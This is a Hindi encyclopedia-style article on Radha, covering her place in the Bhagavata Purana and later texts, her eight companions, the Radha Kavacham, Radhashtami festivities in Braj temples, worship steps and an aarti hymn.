शुकदेव मुनि द्वारा राजा परीक्षित को सुनाई गई कथा पर आधारित श्रीकृष्ण के जीवन चरित्र से संबंधित प्राचीन प्रामाणिक ग्रंथ 'श्रीमद्‍भगवत पुराण' में राधा नाम का उल्लेख नहीं है। किंवदंती है कि राधा जी ने श्रीमद्‍भागवत पुराण के समकालीन रचनाकार महर्षि वेदव्यास से अनुरोध किया था कि वे इस ग्रंथ में उनका नामोल्लेख कहीं न करें और यह पूर्णत: श्रीकृष्ण को समर्पित हो।

राधा जी की सखियाँ

धार्मिक कथाओं में राधा जी के साथ ही उनकी आठ सखियों का भी उल्लेख आता है। इनके नाम हैं-

  1. ललिता,
  2. विशाखा,
  3. चित्रा,
  4. इन्दुलेखा,
  5. चम्पकलता,
  6. रंगदेवी,
  7. तुंगविद्या
  8. सुदेवी।

वृंदावन में इन सखियों को समर्पित प्रसिद्ध अष्टसखी मंदिर भी है।

भागवत में राधा

विरहिणी राधा
  • भागवत में भी राधा का प्रत्यक्ष उल्लेख नहीं है लेकिन परोक्ष रूप से राधा नाम छिपा हुआ है। भागवत में कहा गया है - 'गोपियाँ आपस में कहती हैं- अवश्य ही सर्वशक्तिमान भगवान श्रीकृष्ण की यह आराधिका होगी इसीलिए इस पर प्रसन्न होकर हमारे प्राणप्रिय श्याम ने हमें छोड़ दिया है और इसे एकान्त में ले गए हैं। यह गोपी और कोई नहीं बल्कि राधा ही थीं। श्लोक के 'आराधितो' शब्द में राधा का नाम भी छिपा हुआ है।[१]
  • भागवत में महारास के प्रसंग में इस श्लोक में वर्णन है-

'तत्रारभत गोविन्दो रासक्रीड़ामनुव्रतै।
स्त्रीरत्नैरन्वितः प्रीतैरन्योन्याबद्ध बाहुभिः।।'[२]

  • राधा जी के पिता वृषभानु प्रमुख गोप थे। वे वृंदावन के निकट बरसाना के रहने वाले थे। अनेक भागवत के बाद के ग्रंथों में तो राधा नाम का उल्लेख हुआ है। जिस प्रकार विभिन्न देवी-देवताओं के 'कवच' पाठ होते हैं उसी प्रकार राधा जी का भी कवच उपलब्ध है। यह कवच प्राचीन 'श्री नारदपंचरात्र' में है, जो यह सिद्ध करता है कि राधा नाम भक्तिकालीन कवियों से बहुत पहले भी था।
  • श्री नारदपंचरात्र में शिव पार्वती संवाद के रूप में प्रस्तुत 'श्री राधा कवचम्' के प्रारंभ में 'श्री राधिकायै नम:' लिखा हुआ है। पहले श्लोक में देवी पार्वती भगवान शंकर से अनुरोध करती हैं-

कैलास वासिन् भगवान् भक्तानुग्रहकारक।
राधिका कवचं पुण्यं कथयस्व मम प्रभो।।[३]

  • लोक मान्यता है कि वृंदावन के 'इमली तला' में उनका इस रूप में विधिवत अभिषेक भी हुआ था। कुछ लोगों का यह भी मानना है कि वृंदावन में यमुना पार 'भांडीर वन' में स्वयं ब्रह्मा जी के पुरोहितत्व में श्रीकृष्ण-राधा विवाह भी संपन्न हुआ था।
  • गोस्वामी तुलसीदास द्वारा रचित श्रीरामचरितमानस महाकाव्य में 'शिव पार्वती विवाह' के अवसर पर गणेश वंदना का उल्लेख करते हैं-

'मुनि अनुसासन गनपतिहि पूजेउ संभु भवानि।
कोउ सुनि संसय करै जनि सुर अनादि जिय जानि।।[४]

बरसाना में राधाष्टमी

मथुरा, वृन्दावन, बरसाना, रावल और मांट के राधा रानी मंदिर में उत्सव होता है। वृन्दावन के 'राधा बल्लभ मंदिर' में तो ‘दाऊजी’ के हुरंगा सा दृश्य था। राधा जन्म की खुशी में गोस्वामी समाज के लोग झूम उठते हैं। मंदिर परिसर ‘राधा प्यारी ने जन्म लिया है, कुंवर किशोरी ने जन्म लिया है’ के सामूहिक स्वरों से गूंज उठता है, मंदिर में बनी हौदियों से हल्दी मिश्रित दही को गोस्वामियों पर उड़ेला जाता है तो वे नृत्य कर उठते हैं और एक दूसरे को बधाई देते हैं। भोग के लिए मंदिर के पट बन्द होते ही बधाई गायन के बाद दर्शन खुलते ही दधिकाना शुरु हो जाता है जिसका समापन आरती के बाद होता है। मंदिर के अनुसार वैदिक मंत्रों के मध्य मंदिर में मुख्य श्री विग्रह का प्रातः साढ़े पांच बजे से सात बजे तक अभिषेक होता है और उसके बाद मंगला आरती होती है। समाज गायन के बाद गोस्वामी राधा जन्म की खुशी में एक दूसरे को बधाई देते हैं।

राधा-कृष्ण

वृन्दावन में राधाष्टमी

राधा दामोदर मंदिर, राधा श्याम सुन्दर मंदिर, कृष्ण-बलराम मंदिर और राधा रमण मंदिर में वैदिक मंत्रों के मध्य जब अभिषेक होता है तो वातावरण राधामय हो गया।|

रावल में राधाष्टमी

राधारानी की जन्मस्थली रावल में वैदिक मंत्रों के मध्य कई मन दूध, दही, बूरा, शहद एवं घी से श्यामाश्याम का अभिषेक किया जाता है और बाद में भक्तों में प्रसाद वितरित किया जाता है। राधाष्टमी के अवसर पर लाडलीजी मंदिर के सामने मेला लगता है। केशवदेव मंदिर में ठाकुर जी का श्रृंगार श्रीराधा के रुप में किया जाता है। राधाराष्टमी के पावन पर्व पर हजारों तीर्थयात्री गिरि गोवर्धन की परिक्रमा करते हैं।

मांट में राधाष्टमी

राधारानी मांट में भी विशेष पूजन अर्चन के बाद भक्तों में प्रसाद वितरित किया जाता है। बांके बिहारी मंदिर में दिनभर रासलीला होती है्। राधा-वल्लभ मंदिर से युगलस्वरुप की शोभायात्रा निकलती है जिस पर जगह-जगह पुष्प वर्षा और आरती करके स्वागत किया जाता है।

पूजा

राधाष्टमी को राधा-कृष्ण की संयुक्त रूप से पूजा करनी चाहिये। सर्वप्रथम राधाजी को पंचामृत से स्नान कराकर उनका श्रृंगार करना चाहिये। तत्पश्चात फल-फूल चढ़ाकर धूप-दीप इत्यादि से आरती करने के उपरांत भोग लगाना चाहिये। मंदिरों में 27 पेड़ों की पत्तियों, 27 कुओं के जल, सवा मन दूध, दही, घृत एवं बूरा और औषधियों से मूल शांति होती है और उसके बाद में कई मन पंचामृत से वैदिक मंत्रों के साथ 'श्यामाश्याम' का अभिषेक किया जाता है। श्रद्धालु गहवर वन की परिक्रमा भी लगाते हैं।

राधा जी की आरती

आरती राधा जी की कीजै,
कृष्ण संग जो करे निवासा, कृष्ण करें जिन पर विश्वासा, आरति वृषभानु लली की कीजै।
कृष्ण चन्द्र की करी सहाई, मुंह में आनि रूप दिखाई, उसी शक्ति की आरती कीजै।
नन्द पुत्र से प्रीति बढाई, जमुना तट पर रास रचाई, आरती रास रचाई की कीजै।
प्रेम राह जिसने बतलाई, निर्गुण भक्ति नहीं अपनाई, आरती राधा जी की कीजै।
दुनिया की जो रक्षा करती, भक्तजनों के दुख सब हरती, आरती दु:ख हरणी की कीजै।
कृष्ण चन्द्र ने प्रेम बढाया, विपिन बीच में रास रचाया, आरती कृष्ण प्रिया की कीजै।
दुनिया की जो जननि कहावे, निज पुत्रों की धीर बंधावे, आरती जगत मात की कीजै।
निज पुत्रों के काज संवारे, आरती गायक के कष्ट निवारे, आरती विश्वमात की कीजै।

वीथिका

टीका टिप्पणी और संदर्भ

  1. अनया आराधितो नूनं भगवान् हरिरीश्वरः।
    यन्नो विहाय गोविन्दः प्रीतोयामनयद्रहः।।'
  2. भगवान श्रीकृष्ण की प्रेयसी और सेविका गोपियाँ एक दूसरे की बाँह में बाँह डाले खड़ी थीं। उन स्त्री रत्नों के साथ यमुना जी के पुलिन पर भगवान ने अपनी रसमर्या रासक्रीड़ा प्रारंभ की। स्पष्ट है कि सामान्य गोपियों से पृथक एक गोपी भगवान की प्रेयसी थी। वह राधाजी के अलावा और कौन हो सकती है।
  3. हे कैलाशवासी, भक्तों पर अनुग्रह करने वाले हे प्रभो, श्री राधिकाजी का पवित्र कवच मुझे सुनाइए। राधाजी को वृंदावन की अधीश्वरी माना जाता है।
  4. मुनियों की आज्ञा से शिवजी और पार्वतीजी ने गणेशजी का पूजन किया। देवताओं को अनादि समझते हुए कोई यह शंका न करे कि गणेशजी तो शिव-पार्वती पुत्र हैं, इसलिए उनके विवाह से पहले ही गणेशजी का अस्तित्व कैसे हो सकता है।

बाहरी कडियाँ

सम्बंधित लिंक

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